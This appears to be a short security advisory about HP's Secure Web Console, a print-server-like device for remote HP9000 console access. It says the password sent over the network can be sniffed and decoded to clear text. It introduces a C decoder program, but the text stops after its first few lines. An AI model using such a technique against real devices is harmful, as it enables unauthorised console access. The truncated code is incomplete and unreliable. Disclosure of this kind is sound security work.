HP's Secure Web Console is a device that looks (and acts) like a JetDirect print server. It has one Ethernet port and one serial port, and the idea behind it is that you can connect your console cable from your HP9000 machine to this device and put it on the network. This way you can connect to your HP9000's via a web browser and make the remote access to the console easy. Since this is an actual console access you could potentially do upgrades or reboot into single user mode safely from this device without being on site.
However, this 'secure console' contains a serious hole that allows anyone to sniff out the password and using the attached sample program, reveal the clear text password.
The following code can be used to reveal the clear text password sent on the network by the client of the HP Secure Web Console to the HP Secure Web Console:
#include <stdio.h>
#include <ctype.h>
void main() {
int user_input;
while((user_input=getchar())) {
